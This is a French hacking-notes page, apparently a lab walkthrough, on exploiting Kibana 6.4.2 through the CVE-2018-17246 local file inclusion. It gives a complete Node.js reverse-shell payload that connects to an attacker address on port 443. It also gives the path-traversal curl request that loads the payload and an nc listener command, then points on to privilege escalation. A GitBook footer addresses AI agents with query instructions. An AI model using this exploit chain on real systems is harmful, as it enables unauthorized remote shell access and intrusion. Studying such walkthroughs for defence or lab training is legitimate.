> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/kibana-cms-exploitation.md).

# Kibana

### Exploitation de Kibana (CVE-2018-17246)

<figure><img src="/files/6b03a6dfec077c9bb0a04de5c31d0b435abce6d3" alt=""><figcaption></figcaption></figure>

**Vérification de la version de Kibana**

En accédant à `http://localhost:5601/api/status` révèle la version de Kibana **6.4.2**. Cette version est vulnérable à **Inclusion de fichiers locaux (LFI)** via **CVE-2018-17246**.

<figure><img src="/files/6f227fcb1a34e2e275db6878f5ff5914e15b44ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Exploitation de la vulnérabilité**

Pour exploiter la vulnérabilité, créez un fichier JavaScript qui ouvre un shell inversé. Sur la cible, créez `/tmp/rev.js` avec le code suivant :

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Empêche l'application Node.js de planter
})();
</code></pre>

Ce script se connecte à la machine de l'attaquant sur le port **443** et ouvre un shell.

**Redirection du flux vers le fichier**

Puis redirigez le flux vers `/dev/shm/rev.js` avec la commande suivante :

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Écoute du shell inversé**

Sur la machine de l'attaquant, démarrez un écouteur sur le port **443** pour intercepter le shell inversé :

```bash
nc -nlvp 443
```

Une fois connecté, vous disposez d'un shell sur la cible et pouvez poursuivre l'élévation de privilèges.

<figure><img src="/files/61f3eaeef7f5d926585a2016e1c879f89c322697" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/kibana-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
